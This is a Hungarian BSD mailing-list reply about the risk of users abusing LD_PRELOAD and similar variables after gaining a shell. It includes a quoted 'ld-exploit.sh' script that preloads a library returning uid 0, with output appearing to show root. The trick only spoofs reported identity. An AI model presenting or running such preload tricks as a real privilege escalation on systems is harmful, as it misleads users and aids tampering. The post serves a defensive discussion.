[BSD] LD_PRELOAD_PATH
Gabor HALASZ
halasz.g at freemail.hu
2011. Jan. 11., K, 19:58:07 CET
2011.01.11. 16:24 keltezéssel, Zahemszky Gábor írta:
>>
>> Ha ra tudom venni, hogy minden file, amit a user felpakol a
>> rendszerre, automaitkusan suid/sgid legyen valami unpriv userre:)
>
> Hát szerintem erre nincs esélyed, ha csak meg nem hekkeled az
> sshd/ftpd-det.
Az a kisebbik baj lenne, a nagyobbik pl a webserver accountja.
> És noexec mount kb mindenre ahova írhat? HOME és /tmp kb,
> nem?
Nem tudom, hogy egy fastcgi-kkel kitomott szerveren ez mennyire jarhato
ut, es mintha azt olvastsam volna utoljara, hogy zfs-en meg nem az igazi
az acl. Mindenesetre egyszerubb ut lenne, ha csak a root/wheel szamara
lenne modosithato.
>
>> A bajom az, hogy ha valaki shellt szerez a gepre, akkor modositani
>> tudja a sajat LD_* valtozoit, es ezzel utana mindenfele viccet
>> csinalni.
>
> Pl? Legalább egy-két ilyet mondhatnátok már (akár magánban is), én
> annyira nem ezekben a dolgokban utazom, hogy nem nagyon látom, hagy ha
> valaki fel is tud tölteni valamit / shellt is szerez, akkor miért jobb
> az LD_változóktól védekezni, mint feltételezni azt, hgy pl. eleve nem
> dinamikus, hanem statikus binárist tölt fel, és azzal piszkálódik a
> rendszeremben.
Ez Michal Zalewski-tol jol szemlelteti az elvet (ez freebsd-n nem
mukodik rendesen, igy nyugodtan idemasolom :), a google is megtalalja hamar:
$ cat ld-exploit.sh
#!/bin/sh
echo "1|nux r007 3xp10|7 by 1c4m7uf"
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c
$ id
uid=1001(HalaszGabor) gid=1001(HalaszGabor) groups=1001(HalaszGabor)
$ ./ld-exploit.sh
1|nux r007 3xp10|7 by 1c4m7uf
# id
uid=0(root) gid=0(wheel) groups=1001(HalaszGabor)
A problema ilyesmivel az, hogy ez _is_ egy ut, amivel egy
scriptkiddienel bonyolultabb joakaro probalkozat privileg escalationt
elerni (konkretan sajat webapp celzott kompromittalasa koruli
problemakon tanakodom).
További információk a(z) BSD levelezőlistáról